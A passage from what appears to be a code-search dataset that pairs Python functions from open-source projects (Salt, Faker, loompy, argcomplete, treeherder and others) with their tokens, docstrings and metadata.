repo stringlengths 7 55 | path stringlengths 4 223 | url stringlengths 87 315 | code stringlengths 75 104k | code_tokens list | docstring stringlengths 1 46.9k | docstring_tokens list | language stringclasses 1
value | partition stringclasses 3
values | avg_line_len float64 7.91 980 |
|---|---|---|---|---|---|---|---|---|---|
saltstack/salt | salt/tokens/localfs.py | https://github.com/saltstack/salt/blob/e8541fd6e744ab0df786c0f76102e41631f45d46/salt/tokens/localfs.py#L75-L88 | def rm_token(opts, tok):
'''
Remove token from the store.
:param opts: Salt master config options
:param tok: Token to remove
:returns: Empty dict if successful. None if failed.
'''
t_path = os.path.join(opts['token_dir'], tok)
try:
os.remove(t_path)
return {}
except... | [
"def",
"rm_token",
"(",
"opts",
",",
"tok",
")",
":",
"t_path",
"=",
"os",
".",
"path",
".",
"join",
"(",
"opts",
"[",
"'token_dir'",
"]",
",",
"tok",
")",
"try",
":",
"os",
".",
"remove",
"(",
"t_path",
")",
"return",
"{",
"}",
"except",
"(",
... | Remove token from the store.
:param opts: Salt master config options
:param tok: Token to remove
:returns: Empty dict if successful. None if failed. | [
"Remove",
"token",
"from",
"the",
"store",
"."
] | python | train | 27.214286 |
bitesofcode/projexui | projexui/widgets/xtreewidget/xtreewidgetdelegate.py | https://github.com/bitesofcode/projexui/blob/f18a73bec84df90b034ca69b9deea118dbedfc4d/projexui/widgets/xtreewidget/xtreewidgetdelegate.py#L167-L180 | def drawBackground( self, painter, opt, rect, brush ):
"""
Make sure the background extends to 0 for the first item.
:param painter | <QtGui.QPainter>
rect | <QtCore.QRect>
brush | <QtGui.QBrush>
"""
if not brush:... | [
"def",
"drawBackground",
"(",
"self",
",",
"painter",
",",
"opt",
",",
"rect",
",",
"brush",
")",
":",
"if",
"not",
"brush",
":",
"return",
"painter",
".",
"setPen",
"(",
"QtCore",
".",
"Qt",
".",
"NoPen",
")",
"painter",
".",
"setBrush",
"(",
"brush... | Make sure the background extends to 0 for the first item.
:param painter | <QtGui.QPainter>
rect | <QtCore.QRect>
brush | <QtGui.QBrush> | [
"Make",
"sure",
"the",
"background",
"extends",
"to",
"0",
"for",
"the",
"first",
"item",
".",
":",
"param",
"painter",
"|",
"<QtGui",
".",
"QPainter",
">",
"rect",
"|",
"<QtCore",
".",
"QRect",
">",
"brush",
"|",
"<QtGui",
".",
"QBrush",
">"
] | python | train | 31.642857 |
joke2k/faker | faker/providers/__init__.py | https://github.com/joke2k/faker/blob/965824b61132e52d92d1a6ce470396dbbe01c96c/faker/providers/__init__.py#L121-L129 | def random_digit_or_empty(self):
"""
Returns a random digit/number
between 0 and 9 or an empty string.
"""
if self.generator.random.randint(0, 1):
return self.generator.random.randint(0, 9)
else:
return '' | [
"def",
"random_digit_or_empty",
"(",
"self",
")",
":",
"if",
"self",
".",
"generator",
".",
"random",
".",
"randint",
"(",
"0",
",",
"1",
")",
":",
"return",
"self",
".",
"generator",
".",
"random",
".",
"randint",
"(",
"0",
",",
"9",
")",
"else",
... | Returns a random digit/number
between 0 and 9 or an empty string. | [
"Returns",
"a",
"random",
"digit",
"/",
"number",
"between",
"0",
"and",
"9",
"or",
"an",
"empty",
"string",
"."
] | python | train | 29.888889 |
Kortemme-Lab/klab | klab/rosetta/input_files.py | https://github.com/Kortemme-Lab/klab/blob/6d410ad08f1bd9f7cbbb28d7d946e94fbaaa2b6b/klab/rosetta/input_files.py#L129-L169 | def get_distinct_segments(self, left_offset = 0, right_offset = 0, sequence_length = None):
'''Returns a list of segments (pairs of start and end positions) based on the loop definitions. The returned segments
merge overlapping loops e.g. if the loops file contains sections 32-40, 23-30, 28-33, and ... | [
"def",
"get_distinct_segments",
"(",
"self",
",",
"left_offset",
"=",
"0",
",",
"right_offset",
"=",
"0",
",",
"sequence_length",
"=",
"None",
")",
":",
"# Create a unique, sorted list of all loop terminus positions",
"positions",
"=",
"set",
"(",
")",
"for",
"l",
... | Returns a list of segments (pairs of start and end positions) based on the loop definitions. The returned segments
merge overlapping loops e.g. if the loops file contains sections 32-40, 23-30, 28-33, and 43-46 then the returned
segments will be [(23, 40), (43, 46)].
This may not be ... | [
"Returns",
"a",
"list",
"of",
"segments",
"(",
"pairs",
"of",
"start",
"and",
"end",
"positions",
")",
"based",
"on",
"the",
"loop",
"definitions",
".",
"The",
"returned",
"segments",
"merge",
"overlapping",
"loops",
"e",
".",
"g",
".",
"if",
"the",
"loo... | python | train | 63.634146 |
linnarsson-lab/loompy | loompy/loompy.py | https://github.com/linnarsson-lab/loompy/blob/62c8373a92b058753baa3a95331fb541f560f599/loompy/loompy.py#L531-L545 | def set_edges(self, name: str, a: np.ndarray, b: np.ndarray, w: np.ndarray, *, axis: int) -> None:
"""
**DEPRECATED** - Use `ds.row_graphs[name] = g` or `ds.col_graphs[name] = g` instead
"""
deprecated("'set_edges' is deprecated. Use 'ds.row_graphs[name] = g' or 'ds.col_graphs[name] = g' instead")
try:
g =... | [
"def",
"set_edges",
"(",
"self",
",",
"name",
":",
"str",
",",
"a",
":",
"np",
".",
"ndarray",
",",
"b",
":",
"np",
".",
"ndarray",
",",
"w",
":",
"np",
".",
"ndarray",
",",
"*",
",",
"axis",
":",
"int",
")",
"->",
"None",
":",
"deprecated",
... | **DEPRECATED** - Use `ds.row_graphs[name] = g` or `ds.col_graphs[name] = g` instead | [
"**",
"DEPRECATED",
"**",
"-",
"Use",
"ds",
".",
"row_graphs",
"[",
"name",
"]",
"=",
"g",
"or",
"ds",
".",
"col_graphs",
"[",
"name",
"]",
"=",
"g",
"instead"
] | python | train | 42.6 |
splitkeycoffee/pyhottop | pyhottop/pyhottop.py | https://github.com/splitkeycoffee/pyhottop/blob/2986bbb2d848f7e41fa3ece5ebb1b33c8882219c/pyhottop/pyhottop.py#L195-L217 | def _validate_checksum(self, buffer):
"""Validate the buffer response against the checksum.
When reading the serial interface, data will come back in a raw format
with an included checksum process.
:returns: bool
"""
self._log.debug("Validating the buffer")
if l... | [
"def",
"_validate_checksum",
"(",
"self",
",",
"buffer",
")",
":",
"self",
".",
"_log",
".",
"debug",
"(",
"\"Validating the buffer\"",
")",
"if",
"len",
"(",
"buffer",
")",
"==",
"0",
":",
"self",
".",
"_log",
".",
"debug",
"(",
"\"Buffer was empty\"",
... | Validate the buffer response against the checksum.
When reading the serial interface, data will come back in a raw format
with an included checksum process.
:returns: bool | [
"Validate",
"the",
"buffer",
"response",
"against",
"the",
"checksum",
"."
] | python | train | 36.304348 |
nicferrier/pyproxyfs | src/pyproxyfs/__init__.py | https://github.com/nicferrier/pyproxyfs/blob/7db09bb07bdeece56b7b1c4bf78c9f0b0a03c14b/src/pyproxyfs/__init__.py#L51-L63 | def _mergedict(a, b):
"""Recusively merge the 2 dicts.
Destructive on argument 'a'.
"""
for p, d1 in b.items():
if p in a:
if not isinstance(d1, dict):
continue
_mergedict(a[p], d1)
else:
a[p] = d1
return a | [
"def",
"_mergedict",
"(",
"a",
",",
"b",
")",
":",
"for",
"p",
",",
"d1",
"in",
"b",
".",
"items",
"(",
")",
":",
"if",
"p",
"in",
"a",
":",
"if",
"not",
"isinstance",
"(",
"d1",
",",
"dict",
")",
":",
"continue",
"_mergedict",
"(",
"a",
"[",... | Recusively merge the 2 dicts.
Destructive on argument 'a'. | [
"Recusively",
"merge",
"the",
"2",
"dicts",
"."
] | python | test | 21.769231 |
tensorflow/tensor2tensor | tensor2tensor/models/slicenet.py | https://github.com/tensorflow/tensor2tensor/blob/272500b6efe353aeb638d2745ed56e519462ca31/tensor2tensor/models/slicenet.py#L175-L212 | def slicenet_middle(inputs_encoded, targets, target_space_emb, mask, hparams):
"""Middle part of slicenet, connecting encoder and decoder."""
def norm_fn(x, name):
with tf.variable_scope(name, default_name="norm"):
return common_layers.apply_norm(x, hparams.norm_type, hparams.hidden_size,
... | [
"def",
"slicenet_middle",
"(",
"inputs_encoded",
",",
"targets",
",",
"target_space_emb",
",",
"mask",
",",
"hparams",
")",
":",
"def",
"norm_fn",
"(",
"x",
",",
"name",
")",
":",
"with",
"tf",
".",
"variable_scope",
"(",
"name",
",",
"default_name",
"=",
... | Middle part of slicenet, connecting encoder and decoder. | [
"Middle",
"part",
"of",
"slicenet",
"connecting",
"encoder",
"and",
"decoder",
"."
] | python | train | 39 |
limodou/uliweb | uliweb/lib/werkzeug/wrappers.py | https://github.com/limodou/uliweb/blob/34472f25e4bc0b954a35346672f94e84ef18b076/uliweb/lib/werkzeug/wrappers.py#L288-L310 | def _get_file_stream(self, total_content_length, content_type, filename=None,
content_length=None):
"""Called to get a stream for the file upload.
This must provide a file-like class with `read()`, `readline()`
and `seek()` methods that is both writeable and readable.
... | [
"def",
"_get_file_stream",
"(",
"self",
",",
"total_content_length",
",",
"content_type",
",",
"filename",
"=",
"None",
",",
"content_length",
"=",
"None",
")",
":",
"return",
"default_stream_factory",
"(",
"total_content_length",
",",
"content_type",
",",
"filename... | Called to get a stream for the file upload.
This must provide a file-like class with `read()`, `readline()`
and `seek()` methods that is both writeable and readable.
The default implementation returns a temporary file if the total
content length is higher than 500KB. Because many brow... | [
"Called",
"to",
"get",
"a",
"stream",
"for",
"the",
"file",
"upload",
"."
] | python | train | 54.173913 |
onenameio/onename-python | onename/client.py | https://github.com/onenameio/onename-python/blob/74c583282f18ad9582c6b57b826126d045321494/onename/client.py#L142-L172 | def update_user(self, username, profile, owner_privkey):
"""
Update profile_hash on blockchain
"""
url = self.base_url + "/users/" + username + "/update"
owner_pubkey = get_pubkey_from_privkey(owner_privkey)
payload = {
'profile': profile,
'... | [
"def",
"update_user",
"(",
"self",
",",
"username",
",",
"profile",
",",
"owner_privkey",
")",
":",
"url",
"=",
"self",
".",
"base_url",
"+",
"\"/users/\"",
"+",
"username",
"+",
"\"/update\"",
"owner_pubkey",
"=",
"get_pubkey_from_privkey",
"(",
"owner_privkey"... | Update profile_hash on blockchain | [
"Update",
"profile_hash",
"on",
"blockchain"
] | python | train | 26.419355 |
ianepperson/pyredminews | redmine/redmine_rest.py | https://github.com/ianepperson/pyredminews/blob/b2b0581483632738a3acca3b4e093c181847b813/redmine/redmine_rest.py#L548-L555 | def update(self, id, **dict):
'''Update a given item with the passed data.'''
if not self._item_path:
raise AttributeError('update is not available for %s' % self._item_name)
target = (self._update_path or self._item_path) % id
payload = json.dumps({self._item_type:dict})
... | [
"def",
"update",
"(",
"self",
",",
"id",
",",
"*",
"*",
"dict",
")",
":",
"if",
"not",
"self",
".",
"_item_path",
":",
"raise",
"AttributeError",
"(",
"'update is not available for %s'",
"%",
"self",
".",
"_item_name",
")",
"target",
"=",
"(",
"self",
".... | Update a given item with the passed data. | [
"Update",
"a",
"given",
"item",
"with",
"the",
"passed",
"data",
"."
] | python | train | 46.5 |
SeattleTestbed/seash | pyreadline/rlmain.py | https://github.com/SeattleTestbed/seash/blob/40f9d2285662ff8b61e0468b4196acee089b273b/pyreadline/rlmain.py#L432-L441 | def _bell(self):
u'''ring the bell if requested.'''
if self.bell_style == u'none':
pass
elif self.bell_style == u'visible':
raise NotImplementedError(u"Bellstyle visible is not implemented yet.")
elif self.bell_style == u'audible':
self.console.bell()
... | [
"def",
"_bell",
"(",
"self",
")",
":",
"if",
"self",
".",
"bell_style",
"==",
"u'none'",
":",
"pass",
"elif",
"self",
".",
"bell_style",
"==",
"u'visible'",
":",
"raise",
"NotImplementedError",
"(",
"u\"Bellstyle visible is not implemented yet.\"",
")",
"elif",
... | u'''ring the bell if requested. | [
"u",
"ring",
"the",
"bell",
"if",
"requested",
"."
] | python | train | 39.8 |
JarryShaw/PyPCAPKit | src/protocols/application/httpv1.py | https://github.com/JarryShaw/PyPCAPKit/blob/c7f0da9aebc2cf210bf8f8b912f7d3cbb98ca10e/src/protocols/application/httpv1.py#L127-L184 | def _read_http_header(self, header):
"""Read HTTP/1.* header.
Structure of HTTP/1.* header [RFC 7230]:
start-line :==: request-line / status-line
request-line :==: method SP request-target SP HTTP-version CRLF
status-line :==: HTTP-version SP sta... | [
"def",
"_read_http_header",
"(",
"self",
",",
"header",
")",
":",
"try",
":",
"startline",
",",
"headerfield",
"=",
"header",
".",
"split",
"(",
"b'\\r\\n'",
",",
"1",
")",
"para1",
",",
"para2",
",",
"para3",
"=",
"re",
".",
"split",
"(",
"rb'\\s+'",
... | Read HTTP/1.* header.
Structure of HTTP/1.* header [RFC 7230]:
start-line :==: request-line / status-line
request-line :==: method SP request-target SP HTTP-version CRLF
status-line :==: HTTP-version SP status-code SP reason-phrase CRLF
heade... | [
"Read",
"HTTP",
"/",
"1",
".",
"*",
"header",
"."
] | python | train | 38.224138 |
jason-weirather/py-seq-tools | seqtools/format/sam/bam/files.py | https://github.com/jason-weirather/py-seq-tools/blob/f642c2c73ffef2acc83656a78059a476fc734ca1/seqtools/format/sam/bam/files.py#L46-L52 | def _get_block(self):
"""Just read a single block from your current location in _fh"""
b = self._fh.read(4) # get block size bytes
#print self._fh.tell()
if not b: raise StopIteration
block_size = struct.unpack('<i',b)[0]
return self._fh.read(block_size) | [
"def",
"_get_block",
"(",
"self",
")",
":",
"b",
"=",
"self",
".",
"_fh",
".",
"read",
"(",
"4",
")",
"# get block size bytes",
"#print self._fh.tell()",
"if",
"not",
"b",
":",
"raise",
"StopIteration",
"block_size",
"=",
"struct",
".",
"unpack",
"(",
"'<i... | Just read a single block from your current location in _fh | [
"Just",
"read",
"a",
"single",
"block",
"from",
"your",
"current",
"location",
"in",
"_fh"
] | python | train | 38.857143 |
hamidfzm/Flask-HTMLmin | flask_htmlmin/__init__.py | https://github.com/hamidfzm/Flask-HTMLmin/blob/03de23347ac021da4011af36b57903a235268429/flask_htmlmin/__init__.py#L29-L50 | def response_minify(self, response):
"""
minify response html to decrease traffic
"""
if response.content_type == u'text/html; charset=utf-8':
endpoint = request.endpoint or ''
view_func = current_app.view_functions.get(endpoint, None)
name = (
... | [
"def",
"response_minify",
"(",
"self",
",",
"response",
")",
":",
"if",
"response",
".",
"content_type",
"==",
"u'text/html; charset=utf-8'",
":",
"endpoint",
"=",
"request",
".",
"endpoint",
"or",
"''",
"view_func",
"=",
"current_app",
".",
"view_functions",
".... | minify response html to decrease traffic | [
"minify",
"response",
"html",
"to",
"decrease",
"traffic"
] | python | train | 32.227273 |
dereneaton/ipyrad | ipyrad/analysis/baba.py | https://github.com/dereneaton/ipyrad/blob/5eeb8a178160f45faf71bf47cec4abe998a575d1/ipyrad/analysis/baba.py#L895-L988 | def _simulate(self, nreps, admix=None, Ns=500000, gen=20):
"""
Enter a baba.Tree object in which the 'tree' attribute (newick
derived tree) has edge lengths in units of generations. You can
use the 'gen' parameter to multiply branch lengths by a constant.
Parameters:
-----------
nreps: ... | [
"def",
"_simulate",
"(",
"self",
",",
"nreps",
",",
"admix",
"=",
"None",
",",
"Ns",
"=",
"500000",
",",
"gen",
"=",
"20",
")",
":",
"## node ages",
"Taus",
"=",
"np",
".",
"array",
"(",
"list",
"(",
"set",
"(",
"self",
".",
"verts",
"[",
":",
... | Enter a baba.Tree object in which the 'tree' attribute (newick
derived tree) has edge lengths in units of generations. You can
use the 'gen' parameter to multiply branch lengths by a constant.
Parameters:
-----------
nreps: (int)
Number of reps (loci) to simulate under the demographic s... | [
"Enter",
"a",
"baba",
".",
"Tree",
"object",
"in",
"which",
"the",
"tree",
"attribute",
"(",
"newick",
"derived",
"tree",
")",
"has",
"edge",
"lengths",
"in",
"units",
"of",
"generations",
".",
"You",
"can",
"use",
"the",
"gen",
"parameter",
"to",
"multi... | python | valid | 36.159574 |
kislyuk/argcomplete | argcomplete/__init__.py | https://github.com/kislyuk/argcomplete/blob/f9eb0a2354d9e6153f687c463df98c16251d97ed/argcomplete/__init__.py#L515-L561 | def quote_completions(self, completions, cword_prequote, last_wordbreak_pos):
"""
If the word under the cursor started with a quote (as indicated by a nonempty ``cword_prequote``), escapes
occurrences of that quote character in the completions, and adds the quote to the beginning of each complet... | [
"def",
"quote_completions",
"(",
"self",
",",
"completions",
",",
"cword_prequote",
",",
"last_wordbreak_pos",
")",
":",
"special_chars",
"=",
"\"\\\\\"",
"# If the word under the cursor was quoted, escape the quote char.",
"# Otherwise, escape all special characters and specially ha... | If the word under the cursor started with a quote (as indicated by a nonempty ``cword_prequote``), escapes
occurrences of that quote character in the completions, and adds the quote to the beginning of each completion.
Otherwise, escapes all characters that bash splits words on (``COMP_WORDBREAKS``), an... | [
"If",
"the",
"word",
"under",
"the",
"cursor",
"started",
"with",
"a",
"quote",
"(",
"as",
"indicated",
"by",
"a",
"nonempty",
"cword_prequote",
")",
"escapes",
"occurrences",
"of",
"that",
"quote",
"character",
"in",
"the",
"completions",
"and",
"adds",
"th... | python | train | 55.595745 |
timothyb0912/pylogit | pylogit/base_multinomial_cm_v2.py | https://github.com/timothyb0912/pylogit/blob/f83b0fd6debaa7358d87c3828428f6d4ead71357/pylogit/base_multinomial_cm_v2.py#L296-L327 | def ensure_all_alt_ids_have_a_nest(nest_spec, list_elements, all_ids):
"""
Ensures that the alternative id's in `nest_spec` are all associated with
a nest. Raises a helpful ValueError if they are not.
Parameters
----------
nest_spec : OrderedDict, or None, optional.
Keys are strings tha... | [
"def",
"ensure_all_alt_ids_have_a_nest",
"(",
"nest_spec",
",",
"list_elements",
",",
"all_ids",
")",
":",
"unaccounted_alt_ids",
"=",
"[",
"]",
"for",
"alt_id",
"in",
"all_ids",
":",
"if",
"alt_id",
"not",
"in",
"list_elements",
":",
"unaccounted_alt_ids",
".",
... | Ensures that the alternative id's in `nest_spec` are all associated with
a nest. Raises a helpful ValueError if they are not.
Parameters
----------
nest_spec : OrderedDict, or None, optional.
Keys are strings that define the name of the nests. Values are lists of
alternative ids, denoti... | [
"Ensures",
"that",
"the",
"alternative",
"id",
"s",
"in",
"nest_spec",
"are",
"all",
"associated",
"with",
"a",
"nest",
".",
"Raises",
"a",
"helpful",
"ValueError",
"if",
"they",
"are",
"not",
"."
] | python | train | 37.03125 |
MartinThoma/hwrt | hwrt/filter_dataset.py | https://github.com/MartinThoma/hwrt/blob/725c21a3d0f5a30b8492cbc184b3688ceb364e1c/hwrt/filter_dataset.py#L200-L217 | def load_raw(raw_pickle_file):
"""
Load a pickle file of raw recordings.
Parameters
----------
raw_pickle_file : str
Path to a pickle file which contains raw recordings.
Returns
-------
dict
The loaded pickle file.
"""
with open(raw_pickle_file, 'rb') as f:
... | [
"def",
"load_raw",
"(",
"raw_pickle_file",
")",
":",
"with",
"open",
"(",
"raw_pickle_file",
",",
"'rb'",
")",
"as",
"f",
":",
"raw",
"=",
"pickle",
".",
"load",
"(",
"f",
")",
"logging",
".",
"info",
"(",
"\"Loaded %i recordings.\"",
",",
"len",
"(",
... | Load a pickle file of raw recordings.
Parameters
----------
raw_pickle_file : str
Path to a pickle file which contains raw recordings.
Returns
-------
dict
The loaded pickle file. | [
"Load",
"a",
"pickle",
"file",
"of",
"raw",
"recordings",
"."
] | python | train | 23.222222 |
project-rig/rig | rig/routing_table/utils.py | https://github.com/project-rig/rig/blob/3a3e053d3214899b6d68758685835de0afd5542b/rig/routing_table/utils.py#L8-L83 | def routing_tree_to_tables(routes, net_keys):
"""Convert a set of
:py:class:`~rig.place_and_route.routing_tree.RoutingTree` s into a per-chip
set of routing tables.
.. warning::
A :py:exc:`rig.routing_table.MultisourceRouteError` will
be raised if entries with identical keys and masks b... | [
"def",
"routing_tree_to_tables",
"(",
"routes",
",",
"net_keys",
")",
":",
"# Pairs of inbound and outbound routes.",
"InOutPair",
"=",
"namedtuple",
"(",
"\"InOutPair\"",
",",
"\"ins, outs\"",
")",
"# {(x, y): {(key, mask): _InOutPair}}",
"route_sets",
"=",
"defaultdict",
... | Convert a set of
:py:class:`~rig.place_and_route.routing_tree.RoutingTree` s into a per-chip
set of routing tables.
.. warning::
A :py:exc:`rig.routing_table.MultisourceRouteError` will
be raised if entries with identical keys and masks but with differing
routes are generated. This ... | [
"Convert",
"a",
"set",
"of",
":",
"py",
":",
"class",
":",
"~rig",
".",
"place_and_route",
".",
"routing_tree",
".",
"RoutingTree",
"s",
"into",
"a",
"per",
"-",
"chip",
"set",
"of",
"routing",
"tables",
"."
] | python | train | 39.184211 |
mozilla/treeherder | treeherder/etl/jobs.py | https://github.com/mozilla/treeherder/blob/cc47bdec872e5c668d0f01df89517390a164cda3/treeherder/etl/jobs.py#L331-L372 | def _schedule_log_parsing(job, job_logs, result):
"""Kick off the initial task that parses the log data.
log_data is a list of job log objects and the result for that job
"""
# importing here to avoid an import loop
from treeherder.log_parser.tasks import parse_logs
task_types = {
"er... | [
"def",
"_schedule_log_parsing",
"(",
"job",
",",
"job_logs",
",",
"result",
")",
":",
"# importing here to avoid an import loop",
"from",
"treeherder",
".",
"log_parser",
".",
"tasks",
"import",
"parse_logs",
"task_types",
"=",
"{",
"\"errorsummary_json\"",
",",
"\"bu... | Kick off the initial task that parses the log data.
log_data is a list of job log objects and the result for that job | [
"Kick",
"off",
"the",
"initial",
"task",
"that",
"parses",
"the",
"log",
"data",
"."
] | python | train | 31.690476 |
Robpol86/etaprogress | etaprogress/components/units.py | https://github.com/Robpol86/etaprogress/blob/224e8a248c2bf820bad218763281914ad3983fff/etaprogress/components/units.py#L82-L93 | def auto(self):
"""Returns the highest whole-number unit."""
if self._value >= 1099511627776:
return self.TiB, 'TiB'
if self._value >= 1073741824:
return self.GiB, 'GiB'
if self._value >= 1048576:
return self.MiB, 'MiB'
if self._value >= 1024:
... | [
"def",
"auto",
"(",
"self",
")",
":",
"if",
"self",
".",
"_value",
">=",
"1099511627776",
":",
"return",
"self",
".",
"TiB",
",",
"'TiB'",
"if",
"self",
".",
"_value",
">=",
"1073741824",
":",
"return",
"self",
".",
"GiB",
",",
"'GiB'",
"if",
"self",... | Returns the highest whole-number unit. | [
"Returns",
"the",
"highest",
"whole",
"-",
"number",
"unit",
"."
] | python | train | 32.333333 |
Kane610/deconz | pydeconz/light.py | https://github.com/Kane610/deconz/blob/8a9498dbbc8c168d4a081173ad6c3b1e17fffdf6/pydeconz/light.py#L25-L32 | def async_update(self, event):
"""New event for light.
Check that state is part of event.
Signal that light has updated state.
"""
self.update_attr(event.get('state', {}))
super().async_update(event) | [
"def",
"async_update",
"(",
"self",
",",
"event",
")",
":",
"self",
".",
"update_attr",
"(",
"event",
".",
"get",
"(",
"'state'",
",",
"{",
"}",
")",
")",
"super",
"(",
")",
".",
"async_update",
"(",
"event",
")"
] | New event for light.
Check that state is part of event.
Signal that light has updated state. | [
"New",
"event",
"for",
"light",
"."
] | python | train | 30.125 |
ArchiveTeam/wpull | wpull/network/dns.py | https://github.com/ArchiveTeam/wpull/blob/ddf051aa3322479325ba20aa778cb2cb97606bf5/wpull/network/dns.py#L95-L98 | def rotate(self):
'''Move the first address to the last position.'''
item = self._address_infos.pop(0)
self._address_infos.append(item) | [
"def",
"rotate",
"(",
"self",
")",
":",
"item",
"=",
"self",
".",
"_address_infos",
".",
"pop",
"(",
"0",
")",
"self",
".",
"_address_infos",
".",
"append",
"(",
"item",
")"
] | Move the first address to the last position. | [
"Move",
"the",
"first",
"address",
"to",
"the",
"last",
"position",
"."
] | python | train | 39 |
RudolfCardinal/pythonlib | cardinal_pythonlib/wsgi/reverse_proxied_mw.py | https://github.com/RudolfCardinal/pythonlib/blob/0b84cb35f38bd7d8723958dae51b480a829b7227/cardinal_pythonlib/wsgi/reverse_proxied_mw.py#L50-L70 | def ip_addresses_from_xff(value: str) -> List[str]:
"""
Returns a list of IP addresses (as strings), given the value of an HTTP
``X-Forwarded-For`` (or ``WSGI HTTP_X_FORWARDED_FOR``) header.
Args:
value:
the value of an HTTP ``X-Forwarded-For`` (or ``WSGI
HTTP_X_FORWARDE... | [
"def",
"ip_addresses_from_xff",
"(",
"value",
":",
"str",
")",
"->",
"List",
"[",
"str",
"]",
":",
"if",
"not",
"value",
":",
"return",
"[",
"]",
"return",
"[",
"x",
".",
"strip",
"(",
")",
"for",
"x",
"in",
"value",
".",
"split",
"(",
"\",\"",
"... | Returns a list of IP addresses (as strings), given the value of an HTTP
``X-Forwarded-For`` (or ``WSGI HTTP_X_FORWARDED_FOR``) header.
Args:
value:
the value of an HTTP ``X-Forwarded-For`` (or ``WSGI
HTTP_X_FORWARDED_FOR``) header
Returns:
a list of IP address as st... | [
"Returns",
"a",
"list",
"of",
"IP",
"addresses",
"(",
"as",
"strings",
")",
"given",
"the",
"value",
"of",
"an",
"HTTP",
"X",
"-",
"Forwarded",
"-",
"For",
"(",
"or",
"WSGI",
"HTTP_X_FORWARDED_FOR",
")",
"header",
"."
] | python | train | 31.571429 |
cloud-custodian/cloud-custodian | c7n/log.py | https://github.com/cloud-custodian/cloud-custodian/blob/52ef732eb3d7bc939d1579faf519314814695c08/c7n/log.py#L123-L129 | def flush(self):
"""Ensure all logging output has been flushed."""
if self.shutdown:
return
self.flush_buffers(force=True)
self.queue.put(FLUSH_MARKER)
self.queue.join() | [
"def",
"flush",
"(",
"self",
")",
":",
"if",
"self",
".",
"shutdown",
":",
"return",
"self",
".",
"flush_buffers",
"(",
"force",
"=",
"True",
")",
"self",
".",
"queue",
".",
"put",
"(",
"FLUSH_MARKER",
")",
"self",
".",
"queue",
".",
"join",
"(",
"... | Ensure all logging output has been flushed. | [
"Ensure",
"all",
"logging",
"output",
"has",
"been",
"flushed",
"."
] | python | train | 30.714286 |
mozilla/elasticutils | elasticutils/contrib/django/__init__.py | https://github.com/mozilla/elasticutils/blob/b880cc5d51fb1079b0581255ec664c1ec934656e/elasticutils/contrib/django/__init__.py#L185-L190 | def get_doctypes(self, default_doctypes=None):
"""Returns the doctypes (or mapping type names) to use."""
doctypes = self.type.get_mapping_type_name()
if isinstance(doctypes, six.string_types):
doctypes = [doctypes]
return super(S, self).get_doctypes(default_doctypes=doctypes... | [
"def",
"get_doctypes",
"(",
"self",
",",
"default_doctypes",
"=",
"None",
")",
":",
"doctypes",
"=",
"self",
".",
"type",
".",
"get_mapping_type_name",
"(",
")",
"if",
"isinstance",
"(",
"doctypes",
",",
"six",
".",
"string_types",
")",
":",
"doctypes",
"=... | Returns the doctypes (or mapping type names) to use. | [
"Returns",
"the",
"doctypes",
"(",
"or",
"mapping",
"type",
"names",
")",
"to",
"use",
"."
] | python | train | 52.666667 |
ic-labs/django-icekit | icekit/publishing/managers.py | https://github.com/ic-labs/django-icekit/blob/c507ea5b1864303732c53ad7c5800571fca5fa94/icekit/publishing/managers.py#L201-L233 | def _queryset_iterator(qs):
"""
Override default iterator to wrap returned items in a publishing
sanity-checker "booby trap" to lazily raise an exception if DRAFT
items are mistakenly returned and mis-used in a public context
where only PUBLISHED items should be used.
This booby trap is added w... | [
"def",
"_queryset_iterator",
"(",
"qs",
")",
":",
"# Avoid double-processing draft items in our custom iterator when we",
"# are in a `PublishingQuerySet` that is also a subclass of the",
"# monkey-patched `UrlNodeQuerySet`",
"if",
"issubclass",
"(",
"type",
"(",
"qs",
")",
",",
"U... | Override default iterator to wrap returned items in a publishing
sanity-checker "booby trap" to lazily raise an exception if DRAFT
items are mistakenly returned and mis-used in a public context
where only PUBLISHED items should be used.
This booby trap is added when all of:
- the publishing middle... | [
"Override",
"default",
"iterator",
"to",
"wrap",
"returned",
"items",
"in",
"a",
"publishing",
"sanity",
"-",
"checker",
"booby",
"trap",
"to",
"lazily",
"raise",
"an",
"exception",
"if",
"DRAFT",
"items",
"are",
"mistakenly",
"returned",
"and",
"mis",
"-",
... | python | train | 41.606061 |
dade-ai/snipy | snipy/plt/ploting.py | https://github.com/dade-ai/snipy/blob/408520867179f99b3158b57520e2619f3fecd69b/snipy/plt/ploting.py#L433-L444 | def imbound(clspatch, *args, **kwargs):
"""
:param clspatch:
:param args:
:param kwargs:
:return:
"""
# todo : add example
c = kwargs.pop('color', kwargs.get('edgecolor', None))
kwargs.update(facecolor='none', edgecolor=c)
return impatch(clspatch, *args, **kwargs) | [
"def",
"imbound",
"(",
"clspatch",
",",
"*",
"args",
",",
"*",
"*",
"kwargs",
")",
":",
"# todo : add example",
"c",
"=",
"kwargs",
".",
"pop",
"(",
"'color'",
",",
"kwargs",
".",
"get",
"(",
"'edgecolor'",
",",
"None",
")",
")",
"kwargs",
".",
"upda... | :param clspatch:
:param args:
:param kwargs:
:return: | [
":",
"param",
"clspatch",
":",
":",
"param",
"args",
":",
":",
"param",
"kwargs",
":",
":",
"return",
":"
] | python | valid | 24.5 |
marl/jams | scripts/jams_to_lab.py | https://github.com/marl/jams/blob/b16778399b9528efbd71434842a079f7691a7a66/scripts/jams_to_lab.py#L156-L182 | def parse_arguments(args):
'''Parse arguments from the command line'''
parser = argparse.ArgumentParser(description='Convert JAMS to .lab files')
parser.add_argument('-c',
'--comma-separated',
dest='csv',
action='store_true',
... | [
"def",
"parse_arguments",
"(",
"args",
")",
":",
"parser",
"=",
"argparse",
".",
"ArgumentParser",
"(",
"description",
"=",
"'Convert JAMS to .lab files'",
")",
"parser",
".",
"add_argument",
"(",
"'-c'",
",",
"'--comma-separated'",
",",
"dest",
"=",
"'csv'",
",... | Parse arguments from the command line | [
"Parse",
"arguments",
"from",
"the",
"command",
"line"
] | python | valid | 37.148148 |
phoebe-project/phoebe2 | phoebe/backend/universe.py | https://github.com/phoebe-project/phoebe2/blob/e64b8be683977064e2d55dd1b3ac400f64c3e379/phoebe/backend/universe.py#L1370-L1375 | def polar_direction_xyz(self):
"""
get current polar direction in Roche (xyz) coordinates
"""
return mesh.spin_in_roche(self.polar_direction_uvw,
self.true_anom, self.elongan, self.eincl).astype(float) | [
"def",
"polar_direction_xyz",
"(",
"self",
")",
":",
"return",
"mesh",
".",
"spin_in_roche",
"(",
"self",
".",
"polar_direction_uvw",
",",
"self",
".",
"true_anom",
",",
"self",
".",
"elongan",
",",
"self",
".",
"eincl",
")",
".",
"astype",
"(",
"float",
